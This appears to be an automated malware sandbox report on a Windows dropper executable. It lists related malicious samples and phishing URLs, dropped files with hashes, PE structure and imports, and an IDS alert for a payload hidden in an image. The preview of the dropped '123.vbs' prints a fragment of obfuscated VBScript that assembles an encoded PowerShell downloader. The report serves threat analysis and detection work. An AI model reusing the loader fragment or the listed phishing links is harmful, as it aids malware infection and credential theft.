	http://top10-vir4ls-jandamelayu-xs1.biz.id/	Get hash	malicious	Unknown	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	https://login-att-com.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	https://pages.tempisite.com/Meta-business	Get hash	malicious	Unknown	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	New order.exe	Get hash	malicious	AgentTesla	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	http://netflix.dittmedlemskap.com/	Get hash	malicious	Unknown	Browse	16.182.70.97 185.166.143.48 185.199.111.133

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263294577517858
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0o:9JZj5MiKNnNhoxuB
MD5:	CB083CD0FF560C343A825D78AE2AC5B1
SHA1:	C90D6420536DB1D4204F42DAA0E1C024461988A0
SHA-256:	697F8401C7DBC548BBE340B5EF3070C5B07C89BD0C794A74DC17F3D38893135F
SHA-512:	D9BE399AB06ABE86372E17FF489FD268C548B5E421780833E974F310116C85F32EA39B2F59E5D892B9574A82D5EE7A24D20B630D12932A950821A26DC8EB3361
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xba3d4c64, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556000801711509
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	2B29DA373ADCE2DD4B5AD81117BB39A3
SHA1:	C015E10185DA7BC6158CB7C0200CDFD4F5D2C347
SHA-256:	1128DB8BFF9DF5D2D4022E7962E20080959965299A4C99A5A7A63995D53F43D0
SHA-512:	7032064148E8A9CB726D7B47D1D6BE681CBBC1CF4298C0EB7EC2534D3D0986627F464826FAD75C20EDD533B69058C84D67A190F9B399B5C4FBDDE2AE5E67CA4A
Malicious:	false
Reputation:	low
Preview:	.=Ld... .......7.......X\...;...{......................0.e......!...{?..!...\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.......................................!...\|..................<@...!...\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07717234446590013
Encrypted:	false
SSDEEP:	3:jc//EYeKLiBeag3NaAPaU1lUiiBetlAlluxmO+l/SNxOf:jcUzKiBdANDPaUMn+AgmOH
MD5:	F6E0BFE9ABC1ECF6C83744BC514FEB5F
SHA1:	6F095655251A64FA0C5E3E7C0906557DBD43B028
SHA-256:	7935F618DB5467AB30300A0D496AFDCFA96B7DFBF19558DD5D6BD069CC6C3C12
SHA-512:	3B0399BF2533D37AC121B7485DBEEF00F128828BD9965FD4A84E1F587EF312A0D1236B4C58816F64E1772EB75265C52B065D86F26EA9203E161E6798A49743CC
Malicious:	false
Reputation:	low
Preview:	G.g......................................;...{...!...\|...!...{?..........!...{?..!...{?..g...!...{?.................<@...!...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhIE4Kx1qE4qXKIE4oKNzKoZAE4Kze0E4j:MxHKlYHKh3oIHKx1qHitHo6hAHKze0Hj
MD5:	1B6869C1B7FFE2691B415D60A088004E
SHA1:	D65C5293683E856ADA02D8F34B1B2CE07EAE707B
SHA-256:	BEE51687135C913F56858329E75BE03DE454DA5669891450A221567029FE9F06
SHA-512:	996C59693C3A5604CA7519A8E5CA1E77D0213E04FA77671623DA6452A9E42C13BBFE577F4EEA21DEE48D08B36E3F65432D6C943A1FE9F60336B8709ED21A6D2B
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nllluln52llp:NllUol
MD5:	DD1511ADD69A2BBFD772EE49C6828FBD
SHA1:	D446C5D5B1209CCE7FA673473F913DB360F5931A
SHA-256:	C687FDA1A7A70346FE15F2420682B39C0185696575E46E9785C150FC06D3A629
SHA-512:	46A7C2240420741311A83BE91CC32B224ABA2100DA18302F8347D5CA4DAB58B7B5CE81591D0BBCCB63C38004D49249850E35A7F8F72232072F0126EB9891FEE4
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs

Download File

Process:	C:\Users\user\Desktop\OTO2wVGgkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15444
Entropy (8bit):	5.437718567251256
Encrypted:	false
SSDEEP:	384:OJvqOlYGFrIkTJxYBNF+qukPJmxNSiMFpW+jaA:OJv9lYkrT8DF+XwW2hjaA
MD5:	90476F013B7E7E03253D8121ECE7133C
SHA1:	BCF9262009EEBB2D75BA97A3DCFA1B60368671CB
SHA-256:	9787A66FC34711106B281253D196D2DD7271C05E6D52005D5CA28D515528F374
SHA-512:	69856317A25B202CCB6883A685E65663EF52137316CD8CA6454933F7B44C0AD8FD375699A565C97D7B24DC6D0AF97062EC73E55AF882D404D2D323D51560B15E
Malicious:	true
Preview:	'g..hbphckjogFF = rRegisggfgtertehkggns2211 & ""..Call Uglisging("")..Call Uglisging("")..Call Uglisging("$co" & "digo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#G")..Call Uglisging("k#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#")..edIrhch = LenB("iFodegIm")..Const kIfrIckak = "enfFjIgo"..'kphnjbAd kdScFmri..mpoIcmbnd = LenB("hndmjSd")..Const gemkjAarh = "AchkAok"..Call Uglisging("B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#")..Call Uglisging("dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE")..Call Uglisging("#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#Y")..Call Uglisging("wB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bg")..Const hikpffF = "haImedbe"..'arpkpir hnoaSpI..aaSiFokm = LenB("pFaekAcn")..Const kSFakck = "mknobdbe"..'gfnSIFm gkInbrj..Call Uglisging("Br#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs")..'SmFnrjkp Abmjmnfk..diSpdfFb = LenB("mmbfnApaa")..Const kknchcSd = "cgkgekabS"..'IdgmkrA mkehkba..jdjiFkim = LenB("g

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itjzzu2l.pm1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqsczsg5.xe4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0nb5tch.aft.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkcd0xhi.wn1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rioed2h5.n30.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_worwp5ks.wos.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.859449944222372
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OTO2wVGgkl.exe
File size:	164'352 bytes
MD5:	63af3844e6d0a5fa89da17713ce1fb59
SHA1:	8b457819c6b7ce8e04755ef75b8ce176bc58fb28
SHA256:	7507af39b3ed38d361e06c2a232d5703369bb11706184d0d10318a5ff3d9cabc
SHA512:	9aca0ac9aa6a344d5d97149aa9c272025623623cfe81dea9dee0c95f16e45c8c2b168756d707ba30c25fff2ec09428699de6ab956da1bd29efc06aae7416910e
SSDEEP:	3072:QahKyd2n31N5GWp1icKAArDZz4N9GhbkrNEk1EYT:QahO5p0yN90QEvE
TLSH:	66F39D1A63E420A6E4BA53B198F202935A31BCB15B7892FF13D4D57E5E336C0A532F17
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6...7...6...7...6...7...6...7...6...6...6...7...6..o6...6...7...6Rich...6................PE..d................."

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x140008200
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F47FCB3BB00h
dec eax
add esp, 28h
jmp 00007F47FCB3B3ABh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [000011CDh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [00004922h], ebx
je 00007F47FCB3B3ACh
dec eax
cmp eax, ebx
jne 00007F47FCB3B3BCh
mov edi, 00000001h
mov eax, dword ptr [00004918h]
cmp eax, 01h
jne 00007F47FCB3B3B9h
lea ecx, dword ptr [eax+1Eh]
call 00007F47FCB3B993h
jmp 00007F47FCB3B41Ch
mov ecx, 000003E8h
call dword ptr [0000117Eh]
jmp 00007F47FCB3B369h
mov eax, dword ptr [000048F6h]
test eax, eax
jne 00007F47FCB3B3FBh
mov dword ptr [000048E8h], 00000001h
dec esp
lea esi, dword ptr [000013E9h]
dec eax
lea ebx, dword ptr [000013CAh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F47FCB3B3C7h
test eax, eax
jne 00007F47FCB3B3C7h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F47FCB3B3B2h
dec eax
mov eax, dword ptr [ebx]
dec eax
mov ecx, dword ptr [00001388h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa23c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1d0d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x408	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a10	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9128	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7b80	0x7c00	60800deac1fde21b98089f2241ee6168	False	0.5499936995967742	data	6.096261782871538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x22c8	0x2400	59d15cdf89780817c3d48dd588a6a129	False	0.4136284722222222	data	4.727841929207054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x400	9d1580dccaf8e787a43caf4bba48a079	False	0.3212890625	data	3.1889769845125677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x408	0x600	15cd12257317071f28e4f7b728f8825e	False	0.3932291666666667	data	3.1563665040475675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1e000	0x1d200	8fddb618be6eb207c405389086f4955a	False	0.740930123390558	data	7.057952943108121	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x20	0x200	637787151ee546a94902de9694a58fd6	False	0.083984375	data	0.4068473715812382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1528c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x157f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x231c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x26818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x271a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x27608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x278fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x27aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x27c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x27dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x27f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x28024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x280b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x285d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x28b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2904c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x29498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x29868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x29870	0x1b40	Microsoft Cabinet archive data, Windows 2000/XP setup, 6976 bytes, 1 file, at 0x2c +A "123.vbs", ID 527, number 1, 1 datablock, 0x1503 compression	English	United States	1.0015768348623852
RT_RCDATA	0x2b3b0	0x4	data	English	United States	3.0
RT_RCDATA	0x2b3b4	0x24	GLS_BINARY_LSB_FIRST	English	United States	0.6388888888888888
RT_RCDATA	0x2b3d8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b3e0	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b3e8	0x4	data	English	United States	3.0
RT_RCDATA	0x2b3ec	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b3f4	0x4	data	English	United States	3.0
RT_RCDATA	0x2b3f8	0x13	ASCII text, with no line terminators	English	United States	1.4210526315789473
RT_RCDATA	0x2b40c	0x4	data	English	United States	3.0
RT_RCDATA	0x2b410	0xc	data	English	United States	1.1666666666666667
RT_RCDATA	0x2b41c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b424	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x2b42c	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x2b4e8	0x408	data	English	United States	0.42151162790697677
RT_MANIFEST	0x2b8f0	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T09:33:18.848191+0200	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	1	185.199.111.133	443	192.168.2.6	49725	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 09:33:16.313148975 CEST	49725	443	192.168.2.6	185.199.111.133
